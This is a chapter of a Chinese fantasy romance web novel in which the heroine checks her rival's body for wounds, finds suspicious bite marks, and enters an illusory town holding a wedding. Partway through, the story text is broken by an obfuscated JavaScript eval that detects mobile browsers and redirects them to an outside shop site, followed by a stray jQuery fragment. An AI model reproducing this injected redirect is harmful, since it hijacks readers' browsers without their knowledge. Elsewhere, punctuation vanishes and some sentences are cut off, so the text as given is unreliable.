第76章水月观
祝遥栀一开始怀疑自己听错了。
不然她怎么会听见宿敌说要解衣让她查看有没有伤势?
“你确定?”祝遥栀谨慎求真地问了一句。
“确定。”李眉砂一板一眼地回答她。
少年面上神色比她自然多了,只是眼睫微垂,叫人看不清他眼中情绪。
“.”祝遥栀有一瞬间不知道该说些什么。
她忍不住低头打量了一下自己,因为之前被剑阁虐待所以她确实比较瘦,但她也不至于瘦到让人看不出她是个女孩子吧?
为什么宿敌能够若无其事地说要当着她的面解衣?
难道宿敌从来就没有把她当成女人来看待?
祝遥栀原本想拒绝,刚一启唇,忽然意识到这其实是个好机会,她一直想不清楚李眉砂和邪神之间的关联,倒是可以趁这个机会好好探寻一番。
所以她话音一转,同意了:“好。”
虽然嘴上同意了,但祝遥栀还是不太敢看,她下意识移开视线去看门窗,嗯,两扇雕花木门阖上了,窗户也关得死死的。
等她的视线飘回来,才发现李眉砂已经利落地解开了衣襟,领扣和银铠束袖都解开了,玄色衣袍滑落至腰胯,如墨昙绽瓣。
祝遥栀措不及防,满眼都是少年线条流丽的脊背,苍白如玉,青丝如墨,如同一幅绝笔水墨画。
她脸上微烧,心生荒谬之感,这是在做什么啊?为什么他们这对宿敌会孤男寡女共处一室做这样的事情?
祝遥栀已经开始后悔了,一瞥见少年的手指已经伸到腰封上,她忙不迭说:“等、等等,这样就好,不用再脱了。”
李眉砂就没再继续。
祝遥栀真的已经心生悔意,但开弓没有回头箭,说出去的话就是泼出去的水,她已经没有反悔的余地。
她有些浑身不自在,都不敢直视李眉砂了,板着脸起身绕到少年背后。
因为她暂时还没做好心理准备去看正面。
李眉砂倒是配合,还伸手把自己散落下来的长发拂到身前去,像是生怕她看不清楚一样。
祝遥栀从心里生出些许夺门而逃的冲动,为什么她觉得她在占便宜?一
定是宿敌太木头了居然毫无芥蒂地在她面前宽衣解带。
但她都应承下来了就算不认真查看有没有伤口好歹也得做做样子。
于是祝遥栀垂眸实话说李眉砂身材挺好的宽肩窄腰大长腿因为肤色冷白
还挺有看头的就也没发现什么伤口啊。
她忽然瞥见少年肩胛上似乎有几道红痕。
祝遥栀顿时警觉起来难道李眉砂刚才和那些孽物厮杀时不慎被孽物划了几道?
她凑近一看发现那些红痕有些古怪像是一个个小小的月牙左肩上凸起的骨骼处还有小半圈断断续续的红痕。
不对祝遥栀越看越觉得这些不像是伤口反而是指印和咬痕。看上去并不是刚弄出来的而是过了一段时间了但印记还没消去可想而知抓咬的力度很重。
这就有些暧味了。
一开始她有些惊骇没想到宿敌看着不是在杀人就是在杀人的路上私下里跟女修玩这么厉害还允许女修咬得这么狠。
祝遥栀不喜欢窥探他人床帷之间的隐私下意识就要移开视线却忽然觉得这些痕迹莫名熟悉特别是李眉砂左肩上那个咬痕。
她之前好像很重地咬了邪神一口就在这个位置。虽然那种时候比较意乱情迷但这一口她下了力气所以记得比较清晰。
但问题是为什么李眉砂也会有一个相同位置的咬痕?
祝遥栀觉得自己的脑子都快不够用了她思来想去还是没能想明白其中联系。
难道是碰巧?
可是真的能巧成这样吗?
简直见鬼。
祝遥栀心中存疑但这种闺阁之事她又不好意思问出口万一就是凑巧就显得她太变/态了。
不过她在宿敌眼里好像就是一个变/态。
她还在疑惑不解李眉砂缓声问:“可有看到任何异常?”
祝遥栀猛然回过神她才想起这件事的初衷是查看宿敌身上有没有伤口。
“好像没有什么外伤”她有些迟疑地说“但内伤就说不定了。”
毕竟是死对头祝遥栀总是
忍不住跟李眉砂较劲。刚才李眉砂是给她诊脉,那现在她就说这么一句话,岂不是显得她很无能?
不行,祝遥栀绝不认输。
于是她伸手凝出灵力,看着少年束发的玄色缎带,目不斜视地说:“我用灵力看一下。”
冰雪颜色的灵力丝丝侵入李眉砂的周身灵脉,祝遥栀原本以为会遭到排斥,毕竟宿敌的修为摆在这里,又看她不顺眼。
没想到,她的灵力瞬间就融进了少年的四肢百骸。
竟然没有遭到丝毫阻拦,祝遥栀猜想,李眉砂是不是太过蔑视她,都直接放任她的灵力侵入体内。
要知道一个人哪怕修为再高,肉身再刀枪不入,五脏六腑还是脆弱的,宿敌就不怕她趁机做什么吗?虽然她也不是这种卑鄙无耻之人。
祝遥栀一边胡思乱想,一边注意到,她的灵力一侵入李眉砂体内,少年就绷紧了背脊,肌肉线条明晰秀朗,蝴蝶骨漂亮得不可思议。
“好像也没有什么内伤…”祝遥栀其实看不太出来,她只是牵引灵力在李眉砂周身经脉里游走。
一般来说,修士运行灵力时灵脉没有丝毫滞涩,就说明没什么大问题。
她能直观感受到的,就是宿敌灵脉比她宽畅许多,丹田紫府灵力充沛,浩瀚如汪洋,那些灵力在隐隐躁动,将她那一丝微薄灵力缠绕包裹,甚至像是控制不住一样,一点点吞没她的灵力。
祝遥栀一边牵引灵力游走,一边如实地陈述:“你的脉搏在变快,心跳也是…”
说完她自己都愣了一下,这是为什么?
李眉砂却忽然说:“之前在玲珑七阙的悬赏台,那些高阶引冰符,是你绘制的。”
少年的声音莫名低沉,掺着些沙哑。
“是我,”祝遥栀忽然反应过来,“等等,所以是你发布的悬赏?”
“嗯。”李眉砂低低应了一声,因为音色沙哑,捎了些许好听的磁性。
祝遥栀有些疑惑地问:“你为什么急需那么多高阶冰灵符?”
“…明知故问。”少年回眸轻轻瞥她一眼,上挑的眼尾隐隐泛红,因为肤色冷白,像是埋在冰雪里的桃花瓣。
祝遥栀:?
她怎么就明知故问了?她是真的不理解,宿敌是水灵根,平白无故的拿那么多冰
灵符做什么?
祝遥栀本来想问清楚,却不曾想她融入李眉砂体内那丝灵力竟然没了,被浑厚的水灵力纠缠着一点点吞掉了,甚至隐隐透出几分渴求的意味。
她不爽道:“你吃我灵力做什么?
李眉砂沉默了一瞬,启唇时声音泛哑:“可能是用惯了你的引冰符,你并非符修,绘制的引冰符掺了不少灵息,而我一接触到你的灵息,就难免无法自抑。
祝遥栀听得很迷惑。
这说的是人话吗?她怎么听不太懂。
所以,因为她并非正统符修,半路出家画的几张引冰符就把宿敌给害了?
那她可就开心了。
祝遥栀收了手,说:“好了,你没有任何问题。
李眉砂默了一瞬,而后低声说:“你只看了后背。
死对头这是在嫌她不够严谨吗?
虽然她确实不会给人查看伤势,但她也努力地装出样子来了好不好。
“就你事多。
这一眼她就有些恍神。
漫天海雾遮蔽日光,雅间里也并未点灯,仿佛所有光芒都坠入少年乌墨般的眼瞳,月华为肌玉作骨,那点朱砂使他眉眼间少了几分清冷淡漠,衬着眼尾绯色,一瞬间艳如鬼魅。
这副长相真的太犯规了。明明是杀人不眨眼的凶神恶煞,偏偏样貌殊丽。
李眉砂稍微低着头,眼睫轻垂,鼻尖唇珠再到下颌连成完美一线。
“前面也没什么伤口。祝遥栀得出结论。
她一说话,李眉砂就抬眸看了过来,长睫一掀如墨蝶振翅,眼尾上挑如勾。
“……祝遥栀被看得一怔,竟然忘记了自己原本想要说什么。
李眉砂看她一眼后就垂眸看向自己的腹部,祝遥栀也跟着看了过去,绷带上晕开了些许血色。
她指了指,说:“你的伤口好像裂开了。
早上才刚包扎好的,还被她撞见过,可能刚才杀那些孽物杀得太猛,导致伤口开裂。
祝遥栀摸了摸下巴,“应该要重新包扎一下,药也要再上一遍。
“嗯。少年颔首,利落地解下了缠在腰腹上的绷带,早上看着还狰狞的伤口现在已经好了不
少只是撕裂渗血白玉一样的肌理划出几道血痕叫祝遥栀不忍再看。
李眉砂细致地观察着她的反应立刻捕捉到她眼中闪过的一丝不忍。
祝遥栀虽然看他不顺眼但也不至于对伤患下手她走去浴室“我给你打盆水。”
她端着一盆清水回来李眉砂已经把那些沾血的绷带处理掉了药瓶和新的绷带在桌上有序摆好。
祝遥栀坐了下来垂眸看着桌上的茶杯尽力做到目不斜视。
李眉砂看着就是那种食不言寝不语的贵公子就连处理伤口也无声无息换做是她那些药一洒下去她都忍不住龇牙咧嘴。
不过印象中她受伤后好像从来没有自己上过药都是小怪物帮她舔好的。
祝遥栀还在走神却突然听到李眉砂迟疑地说:“我背后的伤口不便上药.”
祝遥栀:“那你早上是怎么包扎的?”
李眉砂说:“早上还没有。”
“是被刚才那些孽物伤的?”祝遥栀顿时警惕起来起身绕到少年身后。
刚才她没敢太往下看现在才注意到少年后腰上的伤痕切口很整齐鲜红血珠不断往外渗在腰窝上汇了一小片血渍。
妍皮玉骨竟显得那几滴血美如宝石光艳流淌。
祝遥栀其实有些疑惑那些长满鳞片和尖牙的孽物是怎么撕咬出一道如此工整的伤口?
而且她刚才都没发现一张口就跟李眉砂说他后背好好的。
显得她眼神不太好。
祝遥栀就拿出一方软帕
她手上没个轻重药粉洒得并不均匀拿软帕也抹不匀祝遥栀都不耐烦了直接上手抹开。
然后她就发现她的指尖一碰上去少年立刻绷紧了身躯从她的角度还能看到李眉砂紧绷的下颚线。
祝遥栀起了几分作恶的心思不怀好意地问:“你是不是怕我对你做些什么?”
李眉砂垂眸眼皮泛着薄红缓声说:“现在还未入夜。”
祝遥栀有些好笑不会吧宿敌怎么这么天真以为白日里她就不敢乱来了?
她哼笑一声故意说:“如果我真想对你做什么可不会
管白天还是晚上。”
“不过我才不想。”她把药瓶放回桌上“喏上好药了。”
她用刚才的软帕擦了擦指尖下意识就想把帕子扔了。
李眉砂却说:“我帮你洗。”
祝遥栀:“不用扔了就好。”
虽然但是李眉砂敛上衣袍后还是把软帕收下了。
不知道收下干嘛可别是拿去在背地里扎小人诅咒她。
祝遥栀见他伤口也包扎好了衣袍也穿得整齐刚想开口送客却不料飞舟突然停了下来。
“怎么停了?”她有些奇怪“难道水月观到了?”
李眉砂推开窗户语气微凝“外面有人。”
“啊?”祝遥栀也走过去窗外不是白雾与海水而是一座白墙黑瓦的城镇夏风熏着暑热石榴花在摇曳蝉鸣此起彼伏她闻到了扑面而来的槐花香。
“这是.水月观?”祝遥栀是真的弄不明白了。
这时雅间的房门被敲响施语荷的声音传来:“二位不知为何飞舟被截停了。”
祝遥栀打开房门施语荷神色有些惊慌。
“我们先下去探探情况?”祝遥栀提议。
见李眉砂没有异议
施语荷摇了摇头“我找不到其他人了。”
祝遥栀皱眉“他们和司空玉一样失踪了?”
李眉砂转移了话题:“我们先下去看看。”
一下飞舟祝遥栀才发现这座城镇覆地甚广远处的山脉雨雾缥缈只看得见一抹黛色。
她还发现了不少其他宗门的修士施语荷心系司空玉的安危立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106284|149737||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻上前询问是否有人见过他。
祝遥栀看到一处高耸的屋檐就提气轻身踏风而上站在屋檐上俯瞰四周。
她看见层叠房屋后的长街上张灯结彩飘着凤凰花瓣喜婆和几个丫鬟正在街边分发红糖糕。
难道是有什么人要成亲?
祝遥栀做好了心理准备水月观也许凶险万分但她没有想到会是一座热闹繁华的城镇。
李眉砂不知何时站在她的身后说:“这里并没有孽物的气息。”
“所以”祝遥
栀看着街巷中络绎不绝的人群沉吟道“这些都是正常人?”
但在水月观这种地方有这么多正常人就显得尤为不正常。
李眉砂说:“水月观被封印已久这些人不可能活得了这么久。”
“你看那边”祝遥栀指了指街上那些红绸喜字“好像有什么人要成婚。”
她说完也不管李眉砂脚尖在屋檐上一点轻巧往下一跃没入街上围观的人群中。
喜婆乐呵呵地说:“今天是我家小姐的大喜之日夫人特地差人人做了糖糕喜糖给各位乡亲们散散喜气。”
祝遥栀听见那些人在议论纷纷:
“陆家不愧是簪缨世家出手就是阔绰。”
“不过今日出嫁的是哪位小姐?”
“陆家不就那一位小姐?生来就被算命先生说仙缘不浅没几岁就去了仙山修行。”
“啊?那她怎么又回来嫁人了?”
“那倒不是听说陆小姐嫁的也是仙人。”
丫鬟喜笑颜开地应和着说:“是呢我们小姐嫁的可是顶好看的一位仙长三书六礼一样都没少我们小姐的。”
另一个丫鬟说:“可惜小姐现在还未归家姑爷还等她回来拜堂呢。”
“都没礼成怎么就叫上姑爷了?”
“你管我除了姑爷没有人配得上我们小姐。”
几个丫鬟还在互相打趣。
祝遥栀听了她们的话再联系上水月观封印的是李梦戈所以这位陆家小姐不会就是陆簪星吧?
她还在思考手里忽然被塞了几颗喜糖丫鬟笑着说:“这位姑娘看着面生莫不是第一次来?那可巧赶上我们小姐的喜事了。”
祝遥栀礼貌地道谢。
喜婆也看见她了就说:“姑娘若是得空
在晚上拜堂成亲?
祝遥栀只觉诡异但她不知道当地习俗也就没有说什么。
喜婆和丫鬟已经走到别处散喜气了。
祝遥栀看了看手里一层红纸包裹的饴糖谨慎起见这里的东西还是不要乱碰了。
她抬头时瞥见向她走来的李眉砂不由分说就把喜糖塞进少年手里。
李眉砂怔了一下,“这是何物?
祝遥栀说:“如果我没有猜错,应该是你爹娘成亲的喜糖。
李眉砂沉吟:“这应该是幻境。
祝遥栀有些奇怪,她发觉提到亲生父母时,李眉砂几乎没有什么情绪波动。
甚至少年直接用灵力碾碎了手里那几颗喜糖,然后说:“是灵力凝成的幻象。
宿敌的确是个狠人,已经狠到六亲不认了。
“灵力?祝遥栀反应过来,这不对劲吧,李梦戈不是已经堕为孽物了吗?
李眉砂说:“你还记得之前物华山庄的事情吗?仙盟中有不少修士,虽有灵力,但已经堕为孽物。
物华山庄祝遥栀皱眉,那些人似乎在把灵修变成孽物,还把孽物驯化成人。
而且物华山庄背后的靠山还是仙盟的长老。
祝遥栀说:“也许,仙盟需要整顿一下。
不过这也不关她的事,她只想完成任务后回家。
李眉砂说:“我也有此意,但我母亲下令让我切勿插手。
下令祝遥栀觉得,这不太像母子关系,像上级对下级。
不过她也没那闲心思关心别人的家庭关系。
她只是问:“既然这是幻境,你有没有办法破开?
李眉砂说:“得找到阵眼。
祝遥栀“哦了一声:“那我们分开找,我先去陆家看看。
李眉砂在她走之前提醒说:“传讯被切断了,你要是找不到我.
祝遥栀摆了摆手,“我没事找你干什么?
她直接转身就走,遥遥听见少年说了一句“那就我找你。
她跟着周围的人,和那些凑热闹的人一起前往陆家。
祝遥栀一边走,一边荡开灵力查探四周,一路上并未发现任何异常。
片刻后,识海里忽然传来系统的声音:“你以后别跟李眉砂走太近,有他在,我无法跟你联系。
祝遥栀恍然,难怪司空玉都失踪了,这狗系统跟死了一样没有半点反应。
不过话说,原来李眉砂也可以屏蔽系统,之前只有邪神可以做到。
她越发觉得,李眉砂和邪神之间的相似之处多得难以解释。
她跟着人
群来到一座华贵大气的府邸,每一处都张灯结彩,红绸飘飞,府中丫鬟小厮清一色的喜气洋洋。
庭院里大摆宴席,美酒佳肴琳琅满目,闻着倒不像是幻境,但祝遥栀不敢吃。
她挑了一个偏僻些的竹亭,还把周围的帘子都放了下来,打算静观其变。
她隐隐觉得,阵眼应该就在这场婚礼上。
祝遥栀等了片刻,只有越来越多的宾客,并没有见到那对新人。
唉,不会真的打算晚上成亲吧。
她卷起竹帘一看,天边落日西斜,晚霞璀璨融金。
难道都这个时候了,新娘子还没回来?
祝遥栀放下竹帘,腰间忽然环上来温热的手臂,“栀栀,你在做什么?”
她有些惊讶地回过头,一回过头脸颊上就被邪神亲了一口。
现在还没入夜,怎么小怪物出现的时间越来越早了。
祝遥栀又被邪神抱进了怀里,触手也缠了上来。
她想起在李眉砂身上看到的指印和咬痕,就回头扒拉着邪神的肩,一时嘴快直接说:“把衣服脱了我看看。”
总不能真的一模一样吧。
“在这里?”少年眨了眨眼,说,“我先把外面那些人吃了。”
祝遥栀立刻说:“不行。”
作者有话要说